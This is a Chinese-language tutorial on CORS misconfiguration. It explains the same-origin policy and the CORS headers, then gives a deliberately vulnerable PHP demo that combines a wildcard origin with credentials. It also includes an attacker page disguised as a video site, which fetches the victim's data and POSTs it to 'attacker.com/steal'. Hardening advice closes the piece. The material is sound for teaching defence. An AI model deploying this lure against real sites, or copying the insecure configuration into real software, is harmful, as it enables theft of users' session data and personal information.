CORS跨域资源共享漏洞 | 一次崎岖的学习记录
字数 2472 2025-08-20 18:17:58
CORS跨域资源共享漏洞详解
同源策略基础
同源策略简介
同源策略(Same-Origin Policy)是浏览器的一种安全机制,用于限制一个源(域名、协议或端口号的组合)的文档或脚本如何与来自另一个源的资源进行交互。该策略阻止不同源之间的网页通过脚本访问对方的资源或执行恶意操作,有助于保护用户数据安全和隐私。
同源要求
判断两个站点是否同源需要满足以下三个条件:
- 协议相同
- 域名相同
- 端口相同
只要有一项不满足,就属于不同源站点。当一个站点请求另一个站点的资源时,称为"跨域请求",会受到同源策略的限制。
不受同源策略影响的标签
<script>- ``
<iframe><link><style>
CORS机制
CORS简介
CORS(Cross-Origin Resource Sharing,跨域资源共享)是HTML5提供的一种机制,允许WEB应用程序通过在HTTP头中增加特定字段来告诉浏览器哪些不同来源的服务器有权访问本站资源。
需要CORS的常见场景
- 前后端分离的应用
- 第三方API调用
- CDN资源加载
- 微服务架构
- 跨域数据共享
- 嵌入式内容(如YouTube视频、Google Maps等)
- 跨域脚本与iframe通信
- 单页应用(SPA)
CORS相关HTTP头部
请求头
-
Origin
- 解释:请求的来源域名
- 示例:
Origin: http://example.com - 作用:浏览器在跨域请求时自动包含,服务器据此决定是否允许请求
-
Access-Control-Request-Method
- 解释:预检请求中使用的方法
- 示例:
Access-Control-Request-Method: POST - 作用:通知服务器实际请求将使用的方法
-
Access-Control-Request-Headers
- 解释:预检请求中使用的自定义头字段
- 示例:
Access-Control-Request-Headers: X-Custom-Header - 作用:通知服务器实际请求将包含的自定义头字段
响应头
-
Access-Control-Allow-Origin
- 解释:允许的请求来源域名
- 示例:
Access-Control-Allow-Origin: http://example.com或* - 作用:指示允许哪些域名访问资源
-
Access-Control-Allow-Methods
- 解释:允许的HTTP方法
- 示例:
Access-Control-Allow-Methods: GET, POST, PUT - 作用:指示允许的HTTP方法
-
Access-Control-Allow-Headers
- 解释:允许的自定义头字段
- 示例:
Access-Control-Allow-Headers: X-Custom-Header - 作用:指示允许的自定义头字段
-
Access-Control-Allow-Credentials
- 解释:是否允许发送凭证(cookies、HTTP认证信息等)
- 示例:
Access-Control-Allow-Credentials: true - 作用:指示是否允许客户端发送凭证
-
Access-Control-Expose-Headers
- 解释:允许客户端访问的响应头字段
- 示例:
Access-Control-Expose-Headers: X-Custom-Header - 作用:指示哪些响应头字段可被客户端脚本访问
-
Access-Control-Max-Age
- 解释:预检请求结果的缓存时间(秒)
- 示例:
Access-Control-Max-Age: 3600 - 作用:指示浏览器可缓存预检请求结果的时间
CORS漏洞危害
- 信息泄露:攻击者可获取用户的敏感信息如cookies、会话令牌等
- 跨站请求伪造(CSRF):恶意网站可伪造用户请求
- 窃取用户数据:API配置不当可能导致用户数据被直接访问
- 权限提升:攻击者可执行高权限操作
- 账户接管:通过获取敏感信息接管用户账户
CORS漏洞分析示例
被攻击端demo (admin.php)
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
header("Content-Type: text/html");
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// 设置Cookie
setcookie("sessionId", "7AsklYxjXt9AtUmt0askv0b3JeBP98trGrROoHn9YkM-1720927916406-0.0.1.1-604800000");
// 嵌入HTML内容
echo '<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>登录成功</title>
</head>
<body>
<h1>登录成功!欢迎您:admin!</h1>
<p>用户名:admin</p>
<p>姓名:张三</p>
<p>手机号:19090909090</p>
<p>身份证号:510937197709090909</p>
</body>
</html>';
}
?>
攻击端demo (hacker.html)
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>深夜天堂-在线观看</title>
</head>
<body>
<h1>深夜天堂-在线观看</h1>
<button id="attackButton">!点击开始观看!</button>
<script>
document.getElementById('attackButton').addEventListener('click', function() {
fetch('http://www.x1lys.com/admin.php', {
credentials: 'include'
})
.then(response => response.text())
.then(data => {
// 将获取的数据发送到攻击者服务器
fetch('https://attacker.com/steal', {
method: 'POST',
body: data
});
});
});
</script>
</body>
</html>
漏洞原理分析
- 被攻击端设置了
Access-Control-Allow-Origin: *,允许任意来源的跨域请求 - 同时设置了
Access-Control-Allow-Credentials: true,允许携带凭据(cookie等) - 攻击者构造恶意页面诱导用户点击,通过fetch API发起跨域请求
- 由于CORS配置不当,攻击者可获取包含敏感信息的响应内容
- 攻击者将获取的数据发送到自己的服务器
安全建议
- 避免使用通配符*:不要设置
Access-Control-Allow-Origin: *,特别是当使用Access-Control-Allow-Credentials: true时 - 严格限制允许的来源:明确指定允许的域名,如
Access-Control-Allow-Origin: https://trusted.example.com - 限制允许的方法:通过
Access-Control-Allow-Methods只开放必要的方法 - 限制允许的头部:通过
Access-Control-Allow-Headers只开放必要的头部 - 谨慎使用凭据:只有在确实需要时才设置
Access-Control-Allow-Credentials: true - 设置适当的缓存时间:通过
Access-Control-Max-Age控制预检请求的缓存时间 - 实施服务器端验证:即使配置了CORS,服务器端也应验证请求来源
总结
CORS机制为现代Web应用提供了必要的跨域通信能力,但不当的配置会导致严重的安全漏洞。开发者需要深入理解CORS的工作原理,在实现跨域资源共享的同时,确保应用的安全性。特别是在处理敏感数据时,必须严格限制允许的来源、方法和头部,避免信息泄露和跨站攻击。